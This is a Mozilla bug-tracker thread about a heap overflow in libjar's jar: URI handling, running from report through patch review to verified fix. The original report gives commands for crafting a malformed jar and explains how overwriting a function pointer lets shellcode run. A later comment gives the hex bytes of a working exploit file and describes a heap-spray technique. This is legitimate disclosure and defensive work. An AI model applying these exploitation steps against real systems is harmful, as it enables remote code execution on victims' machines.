157646 - Possible heap corruption in libjar

Status: VERIFIED FIXED

(Core :: Security, defect)

Description

[Mitchell Stoltz (not reading bugmail)]

Submitter name:                zen-parse
   Submitter email address:       [e-mail]
   Acknowledgement checkbox:      on
   Product:                       Netscape 6.x
   Operating system:              Unix: x86 Linux
   OS version:                    Redhat 7.0
   Issue summary:                 Exploitable heap corruption via jar: URI handler.

Issue details:
Details to verify existance of problem.

Create a file, called test.gif with the 
following 6 'int's in it.

0x2d6e657a,0x65726568,
0x00000000,0x00000000,
0xdeadbeef,0xfee1600d

$ zip orig.jar test.gif
  adding: test.gif (deflated 17%)
$ unzip -v orig.jar
Archive:  orig.jar
 Length   Method    Size  Ratio   Date   Time 
  CRC-32    Name
--------  ------  ------- -----   ----   ---- 
  ------    ----
      24  Defl:N       20  17%  07-08-02 
16:11  b74deafe  test.gif
--------          -------  ---                
            -------
      24               20  17%                
            1 file
$ sed s/`printf '\x18'`/`printf '\x01'`/g 
orig.jar >new.jar
$ unzip -v new.jar 
Archive:  new.jar
 Length   Method    Size  Ratio   Date   Time 
  CRC-32    Name
--------  ------  ------- -----   ----   ---- 
  ------    ----
       1  Defl:N       20 -1900%  07-08-02 
16:11  b74deafe  test.gif
--------          -------  ---                
            -------
       1               20 -1900%              
              1 file
$ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) 
representing the realsize, so
it works ok on this file. Actual explot uses 
a hex editor.)


In Netscape open:

   jar:http://host/~username/new.jar!/test.gif


The jr file is retrieved, the requested file 
is found...
...
584   //-- Read the item into memory
585   //   Inflate if necessary and save in 
mInflatedFileBuffer
586   //   for sequential reading.
587   //   (nsJAR needs the whole file in 
memory before passing it on)
588   char* buf = 
(char*)PR_Malloc(item->realsize);
589   if (!buf) return ZIP_ERR_MEMORY;
590   switch(item->compression)
591   {
592     case DEFLATED:
593       result = InflateItem(item, 0, buf);
594       break;...
A buffer is allocated for storing the data. 
The realsize value is used for
the length. (Size 1 actually allocates 8 
bytes, hence the padding.)
The buf is the passed to the inflater.
...
1268 PRInt32 nsZipArchive::InflateItem( const 
nsZipItem* aItem, PRFileDesc* fOut,
1269                                    char* 
bigBuf )
...
as bigBuf. Some temporary storage is made, 
and a chunk of decompression done.
...
1382       {
1383         //-- copy inflated buffer to our 
big buffer
1384         // Assertion makes sure we don't 
overflow bigBuf
1385         PR_ASSERT( outpos + ZIP_BUFLEN 
<= bigBufSize);
1386         char* copyStart = bigBuf + 
outpos;
1387         memcpy(copyStart, outbuf, 
ZIP_BUFLEN);
1388       } 
...
The assertion doesn't fire. It should 
probably be made into a normal check as
well.

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is 
called, and a SEGV will occur
with while referencing the values 0xdeadbeef 
and 0xfee1600d.

If these are replaced with (address of a 
function pointer)-12 and (address
of user supplied code), when the function 
pointer is called, the user
supplied code will execute.

I have successfully changed the flow of 
control in tests, by overwriting
the function pointer for PR_Free in the 
global offset table of libsnpr4.so.

"Shellcode" can be supplied in a previously 
loaded image. (A large area
can be filled using compressed image files 
stored in a .jar as the source.)

This form was submitted from
http://help.netscape.com/forms/bug-security.html?cp=bbpctr
with Mozilla/4.76 (Linux 2.2.19-7.0.16 i686; U) Opera 6.0  [en].

Comment 1

[neuro]

Simple patch for this overflow. 
Adds test that mirrors the assert.

#start-of-patch
--- mozilla/modules/libjar/nsZipArchive.cpp.orig        Thu Aug 15 03:45:31 2002
+++ mozilla/modules/libjar/nsZipArchive.cpp     Thu Aug 15 03:45:31 2002
@@ -1383,8 +1383,16 @@
         //-- copy inflated buffer to our big buffer
         // Assertion makes sure we don't overflow bigBuf
         PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize);
-        char* copyStart = bigBuf + outpos;
-        memcpy(copyStart, outbuf, ZIP_BUFLEN);
+        if(outpos + ZIP_BUFLEN <= bigBufSize)
+        {
+         char* copyStart = bigBuf + outpos;
+         memcpy(copyStart, outbuf, ZIP_BUFLEN);
+        }
+        else
+        {
+         status = ZIP_ERR_CORRUPT;
+         break;
+        }
       }  
       
       outpos = zs.total_out;
#end-of-patch

Comment 2

[Daniel Veditz [:dveditz]]

Attachment: Demonstration zipfile

Comment 3

[Daniel Veditz [:dveditz]]

jar:http://bugzilla.mozilla.org/attachment.cgi?id=97252!/zen.gif
jar:http://bugzilla.mozilla.org/attachment.cgi?id=97252!/zenbigend.gif
jar:http://bugzilla.mozilla.org/attachment.cgi?id=97252!/zen.txt
jar:http://bugzilla.mozilla.org/attachment.cgi?id=97252!/zen2.txt
jar:http://bugzilla.mozilla.org/attachment.cgi?id=97252!/zen2.gif

All will crash. "zen.gif" is as described in the original report, zen.txt is 254
'A's, and zen2.txt and .gif are the chars x20 through x7E

Comment 4

[Robert O'Callahan (:roc) (email my personal email if necessary)]

This is as serious as it gets and we have a patch. Why hasn't it been fixed?
Definite 1.2 blocker.

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Dan, could you try out the patch above and get it checked in?

Comment 6

[Christopher Blizzard (:blizzard)]

Anyone?  This is a 1.2 bug.  We need traction here.

Comment 7

[Daniel Veditz [:dveditz]]

Attachment: protect against buffer overflow

Comment 8

[Mitchell Stoltz (not reading bugmail)]

Comment on attachment 104422 [details] [diff] [review]
protect against buffer overflow

looks fine. r=mstoltz.

Comment 9

[Darin Fisher]

Comment on attachment 104422 [details] [diff] [review]
protect against buffer overflow

>Index: nsZipArchive.cpp

>         PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize);
>+        if ( outpos + ZIP_BUFLEN <= bigBufSize )
...
>+        else
>+        {
>+          status = ZIP_ERR_CORRUPT;
>+          break;
>+        }

nit: how about moving the PR_ASSERT into the |else| block.  PR_NOT_REACHED
is probably more appropriate since it avoids duplicating the expression.

>       PR_ASSERT( (outpos + chunk) <= bigBufSize );
>+      if ( outpos + ZIP_BUFLEN <= bigBufSize )

these two lines don't match!  shouldn't |ZIP_BUFLEN| be |chunk| instead?

Comment 10

[Daniel Veditz [:dveditz]]

Attachment: Fix review comments

This fixes the bug Darin noticed and removes the now-unnecessary PR_ASSERTs.
Note it's a -w patch so the indents appear slightly off.

Comment 11

[Daniel Veditz [:dveditz]]

Comment on attachment 104588 [details] [diff] [review]
Fix review comments

Carrying over mitch's r=

Comment 12

[Daniel Veditz [:dveditz]]

This should go on the branch, too.

Comment 13

[Robert O'Callahan (:roc) (email my personal email if necessary)]

Comment on attachment 104588 [details] [diff] [review]
Fix review comments

a=roc+moz for trunk

Comment 14

[Darin Fisher]

Comment on attachment 104588 [details] [diff] [review]
Fix review comments

sr=darin

Comment 15

[Michael Buckland]

Discussed in bBird team meeting.  Plussing for adt only.

Comment 16

[Daniel Veditz [:dveditz]]

Fix checked into trunk

Comment 17

[chris hofmann]

a=chofmann for 1.0.2 as well

Comment 18

[Daniel Veditz [:dveditz]]

fixed on the branch

Comment 19

[Daniel Veditz [:dveditz]]

Mitch is still looking for a demonstrable exploit. I could crash, but not with
the supplied addresses, and it hasn't been shown that an attacker could predict
the address of any attack code that could be loaded as an image.

Comment 20

[neuro]

With regard to exploitablity:

 Same method for predicted return address as the PNG exploits works for NS6.2.3,
which was what this bug was originally reported in.

 Make a 12-16meg PNG image, with 1/2 of it a NOP sleep, and the other 1/2 the
pointers to the shellcode. In my example exploit for the other jar bug, I used
0x41ab005e as my return address, which was, under redhat 7.0, allocated for
storing the png image, so I did the same for this one.

7a 65 6e 2d 68 65 72 65 00 00 00 00 00 00 00 00 64 02 1c 40 5e 00 ab 41

That is the hex for contents of the test.gif I successfully used for explotation
on Redhat 7.0, with Netscape 6.2.3.

Under Netscape 7.0 release, the is more difficult, but not impossilbe to
exploit.(Could maybe also create a string of a size that would force it to be
allocated with javascript, of the same length/format the the PNG image
mentioned.) It might also be possible to overwrite some stack address with the
chunk and change the flow of execution with that method, or to change the value
of some address containing a flag that suggests something might be a safe
operation to perform when it is not.

It could still be exploitable by overwriting function pointers with the address
of a call *eax, or similar, where the register contains the code to execute, or
a pointer to such code. 

There are many different ways of exploiting an arbitrary length heap overrun.

Comment 21

[bsharma]

Verified on 2002-11-06-branch on Win 2000.

All the test cases in comment #3, works fine. None of them crashes and all of
them gives the error as invalid attachment.

Please let me know if any other verification is needed.